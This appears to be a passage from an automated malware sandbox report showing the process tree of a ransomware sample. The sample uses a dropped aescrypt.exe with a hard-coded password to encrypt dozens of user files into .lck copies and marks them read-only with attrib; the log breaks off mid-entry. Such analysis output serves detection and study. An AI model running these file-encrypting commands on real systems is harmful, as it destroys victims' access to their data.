    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OutGroup.vsdx.lck" "OutGroup.vsdx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "OutGroup.vsdx.lck"
    3⤵
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ClearMeasure.vdx.lck" "ClearMeasure.vdx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "ClearMeasure.vdx.lck"
    3⤵
    - Views/modifies file attributes
    PID:544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1876
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:208
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    - Views/modifies file attributes
    PID:1320
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReceiveWait.ico.lck" "ReceiveWait.ico"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    attrib +r "ReceiveWait.ico.lck"
    3⤵
    PID:428
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnregisterOptimize.xps.lck" "UnregisterOptimize.xps"
    3⤵
    PID:236
- - C:\Windows\system32\attrib.exe
    attrib +r "UnregisterOptimize.xps.lck"
    3⤵
    - Views/modifies file attributes
    PID:1616
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ApproveImport.php.lck" "ApproveImport.php"
    3⤵
    PID:1924
- - C:\Windows\system32\attrib.exe
    attrib +r "ApproveImport.php.lck"
    3⤵
    - Views/modifies file attributes
    PID:2028
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "WriteRename.xlt.lck" "WriteRename.xlt"
    3⤵
    PID:740
- - C:\Windows\system32\attrib.exe
    attrib +r "WriteRename.xlt.lck"
    3⤵
    - Views/modifies file attributes
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "TraceInitialize.ppsm.lck" "TraceInitialize.ppsm"
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +r "TraceInitialize.ppsm.lck"
    3⤵
    - Views/modifies file attributes
    PID:204
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "PopRemove.scf.lck" "PopRemove.scf"
    3⤵
    PID:1032
- - C:\Windows\system32\attrib.exe
    attrib +r "PopRemove.scf.lck"
    3⤵
    - Views/modifies file attributes
    PID:1860
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnlockBlock.lock.lck" "UnlockBlock.lock"
    3⤵
    PID:1916
- - C:\Windows\system32\attrib.exe
    attrib +r "UnlockBlock.lock.lck"
    3⤵
    PID:1840
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConvertUnprotect.potm.lck" "ConvertUnprotect.potm"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    attrib +r "ConvertUnprotect.potm.lck"
    3⤵
    PID:1512
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DisableDismount.html.lck" "DisableDismount.html"
    3⤵
    PID:908
- - C:\Windows\system32\attrib.exe
    attrib +r "DisableDismount.html.lck"
    3⤵
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UseDisconnect.ppsx.lck" "UseDisconnect.ppsx"
    3⤵
    PID:1672
- - C:\Windows\system32\attrib.exe
    attrib +r "UseDisconnect.ppsx.lck"
    3⤵
    - Views/modifies file attributes
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConnectSave.vst.lck" "ConnectSave.vst"
    3⤵
    PID:940
- - C:\Windows\system32\attrib.exe
    attrib +r "ConnectSave.vst.lck"
    3⤵
    - Views/modifies file attributes
    PID:1056
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "NewMove.dib.lck" "NewMove.dib"
    3⤵
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "NewMove.dib.lck"
    3⤵
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RegisterSave.ocx.lck" "RegisterSave.ocx"
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "RegisterSave.ocx.lck"
    3⤵
    PID:544
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "GetLimit.pptx.lck" "GetLimit.pptx"
    3⤵
    PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +r "GetLimit.pptx.lck"
    3⤵
    PID:208
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InvokeOpen.wdp.lck" "InvokeOpen.wdp"
    3⤵
    PID:1320
- - C:\Windows\system32\attrib.exe
    attrib +r "InvokeOpen.wdp.lck"
    3⤵
    PID:224
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnblockResume.xlt.lck" "UnblockResume.xlt"
    3⤵
    PID:428
- - C:\Windows\system32\attrib.exe
    attrib +r "UnblockResume.xlt.lck"
    3⤵
    PID:236
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "TraceRead.wmv.lck" "TraceRead.wmv"
    3⤵
    PID:1616
- - C:\Windows\system32\attrib.exe
    attrib +r "TraceRead.wmv.lck"
    3⤵
    - Views/modifies file attributes
    PID:1924
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SendExpand.wmf.lck" "SendExpand.wmf"
    3⤵
    PID:2028
- - C:\Windows\system32\attrib.exe
    attrib +r "SendExpand.wmf.lck"
    3⤵
    - Views/modifies file attributes
    PID:740
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConnectApprove.xlsx.lck" "ConnectApprove.xlsx"
    3⤵
    PID:1328
- - C:\Windows\system32\attrib.exe
    attrib +r "ConnectApprove.xlsx.lck"
    3⤵
    PID:2000
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RemoveDisconnect.vstx.lck" "RemoveDisconnect.vstx"
    3⤵
    PID:204
- - C:\Windows\system32\attrib.exe
    attrib +r "RemoveDisconnect.vstx.lck"
    3⤵
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ResetWait.css.lck" "ResetWait.css"
    3⤵
    PID:1860
- - C:\Windows\system32\attrib.exe
    attrib +r "ResetWait.css.lck"
    3⤵
    PID:1916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "StartEnable.shtml.lck" "StartEnable.shtml"
    3⤵
    PID:1840
- - C:\Windows\system32\attrib.exe
    attrib +r "StartEnable.shtml.lck"
    3⤵
    - Views/modifies file attributes
    PID:1120
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "PushClear.mpe.lck" "PushClear.mpe"
    3⤵
    PID:1512
- - C:\Windows\system32\attrib.exe
    attrib +r "PushClear.mpe.lck"
    3⤵
    - Views/modifies file attributes
    PID:908
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "AddMove.jpg.lck" "AddMove.jpg"
    3⤵
    PID:1884
- - C:\Windows\system32\attrib.exe
    attrib +r "AddMove.jpg.lck"
    3⤵
    PID:1672
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RenameConvertFrom.midi.lck" "RenameConvertFrom.midi"
    3⤵
    PID:1576
- - C:\Windows\system32\attrib.exe
    attrib +r "RenameConvertFrom.midi.lck"
    3⤵
    - Views/modifies file attributes
    PID:940
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RevokeDismount.DVR-MS.lck" "RevokeDismount.DVR-MS"
    3⤵
    PID:1056
- - C:\Windows\system32\attrib.exe
    attrib +r "RevokeDismount.DVR-MS.lck"
    3⤵
    PID:2004
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ApproveDisable.nfo.lck" "ApproveDisable.nfo"
    3⤵
    PID:960
- - C:\Windows\system32\attrib.exe
    attrib +r "ApproveDisable.nfo.lck"
    3⤵
    PID:1036
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "PublishSelect.otf.lck" "PublishSelect.otf"
    3⤵
    PID:544
- - C:\Windows\system32\attrib.exe
    attrib +r "PublishSelect.otf.lck"
    3⤵
    PID:1876
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SyncConfirm.svg.lck" "SyncConfirm.svg"
    3⤵
    PID:208
- - C:\Windows\system32\attrib.exe
    attrib +r "SyncConfirm.svg.lck"
    3⤵
    PID:1320
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SavePing.vst.lck" "SavePing.vst"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    attrib +r "SavePing.vst.lck"
    3⤵
    PID:428
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "EditWrite.pub.lck" "EditWrite.pub"
    3⤵
    PID:236
- - C:\Windows\system32\attrib.exe
    attrib +r "EditWrite.pub.lck"
    3⤵
    PID:1616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1924
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:2028
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RecentPlaces.lnk.lck" "RecentPlaces.lnk"
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +r "RecentPlaces.lnk.lck"
    3⤵
    PID:204
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Desktop.lnk.lck" "Desktop.lnk"
    3⤵
    PID:1032
- - C:\Windows\system32\attrib.exe
    attrib +r "Desktop.lnk.lck"
    3⤵
    PID:1860
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:1916
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:1840
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Downloads.lnk.lck" "Downloads.lnk"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    attrib +r "Downloads.lnk.lck"
    3⤵
    - Views/modifies file attributes
    PID:1512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:908
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    PID:1884
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    - Views/modifies file attributes
    PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    PID:940
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:1056
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "BackupUnpublish.docx.lck" "BackupUnpublish.docx"
    3⤵
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "BackupUnpublish.docx.lck"
    3⤵
    PID:960
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConvertFromDismount.asp.lck" "ConvertFromDismount.asp"
    3⤵
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "ConvertFromDismount.asp.lck"
    3⤵
    - Views/modifies file attributes
    PID:544
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "CopyStop.cfg.lck" "CopyStop.cfg"
    3⤵
    PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +r "CopyStop.cfg.lck"
    3⤵
    - Views/modifies file attributes
    PID:208
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "EnableSelect.vb.lck" "EnableSelect.vb"
    3⤵
    PID:1320
- - C:\Windows\system32\attrib.exe
    attrib +r "EnableSelect.vb.lck"
    3⤵
    - Views/modifies file attributes
    PID:224
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "EditUnprotect.ttc.lck" "EditUnprotect.ttc"
    3⤵
    PID:428
- - C:\Windows\system32\attrib.exe
    attrib +r "EditUnprotect.ttc.lck"
    3⤵
    PID:236
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "MergeLock.pps.lck" "MergeLock.pps"
    3⤵
    PID:1616
- - C:\Windows\system32\attrib.exe
    attrib +r "MergeLock.pps.lck"
    3⤵
    PID:1924
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "MergeSkip.exe.lck" "MergeSkip.exe"
    3⤵
    PID:2028
- - C:\Windows\system32\attrib.exe
    attrib +r "MergeSkip.exe.lck"
    3⤵
    PID:740
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OptimizeOpen.htm.lck" "OptimizeOpen.htm"
    3⤵
    PID:1328
- - C:\Windows\system32\attrib.exe
    attrib +r "OptimizeOpen.htm.lck"
    3⤵
    PID:2000
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ProtectBlock.html.lck" "ProtectBlock.html"
    3⤵
    PID:204
- - C:\Windows\system32\attrib.exe
    attrib +r "ProtectBlock.html.lck"
    3⤵
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "MountEdit.ex_.lck" "MountEdit.ex_"
    3⤵
    PID:1860
- - C:\Windows\system32\attrib.exe
    attrib +r "MountEdit.ex_.lck"
    3⤵
    PID:1916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OutHide.eps.lck" "OutHide.eps"
    3⤵
    PID:1840
- - C:\Windows\system32\attrib.exe
    attrib +r "OutHide.eps.lck"
    3⤵
    PID:1120
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReceivePop.shtml.lck" "ReceivePop.shtml"
    3⤵
    PID:1512
- - C:\Windows\system32\attrib.exe
    attrib +r "ReceivePop.shtml.lck"
    3⤵
    PID:908
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConnectAdd.mpp.lck" "ConnectAdd.mpp"
    3⤵
    PID:1884
- - C:\Windows\system32\attrib.exe
    attrib +r "ConnectAdd.mpp.lck"
    3⤵
    PID:1672
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DenyApprove.odt.lck" "DenyApprove.odt"
    3⤵
    PID:1576
- - C:\Windows\system32\attrib.exe
    attrib +r "DenyApprove.odt.lck"
    3⤵
    PID:940
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "BlockWait.rar.lck" "BlockWait.rar"
    3⤵
    PID:1056
- - C:\Windows\system32\attrib.exe
    attrib +r "BlockWait.rar.lck"
    3⤵
    PID:2004
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "LockSave.wav.lck" "LockSave.wav"
    3⤵
    PID:960
- - C:\Windows\system32\attrib.exe
    attrib +r "LockSave.wav.lck"
    3⤵
    - Views/modifies file attributes
    PID:1036
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InstallSet.bin.lck" "InstallSet.bin"
    3⤵
    PID:544
- - C:\Windows\system32\attrib.exe
    attrib +r "InstallSet.bin.lck"
    3⤵
    - Views/modifies file attributes
    PID:1876
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "PublishUpdate.jpe.lck" "PublishUpdate.jpe"
    3⤵
    PID:208
- - C:\Windows\system32\attrib.exe
    attrib +r "PublishUpdate.jpe.lck"
    3⤵
    - Views/modifies file attributes
    PID:1320
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "JoinWait.pot.lck" "JoinWait.pot"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    attrib +r "JoinWait.pot.lck"
    3⤵
    PID:428
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "HideUnlock.nfo.lck" "HideUnlock.nfo"
    3⤵
    PID:236
- - C:\Windows\system32\attrib.exe
    attrib +r "HideUnlock.nfo.lck"
    3⤵
    PID:1616
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OutSuspend.gif.lck" "OutSuspend.gif"
    3⤵
    PID:1924
- - C:\Windows\system32\attrib.exe
    attrib +r "OutSuspend.gif.lck"
    3⤵
    - Views/modifies file attributes
    PID:2028
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "OutExit.potx.lck" "OutExit.potx"
    3⤵
    PID:740
- - C:\Windows\system32\attrib.exe
    attrib +r "OutExit.potx.lck"
    3⤵
    - Views/modifies file attributes
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnlockJoin.TS.lck" "UnlockJoin.TS"
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +r "UnlockJoin.TS.lck"
    3⤵
    PID:204
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RestoreReset.cfg.lck" "RestoreReset.cfg"
    3⤵
    PID:1032
- - C:\Windows\system32\attrib.exe
    attrib +r "RestoreReset.cfg.lck"
    3⤵
    PID:1860
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DebugPop.mpeg.lck" "DebugPop.mpeg"
    3⤵
    PID:1916
- - C:\Windows\system32\attrib.exe
    attrib +r "DebugPop.mpeg.lck"
    3⤵
    - Views/modifies file attributes
    PID:1840
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "CheckpointSet.zip.lck" "CheckpointSet.zip"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    attrib +r "CheckpointSet.zip.lck"
    3⤵
    PID:1512
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
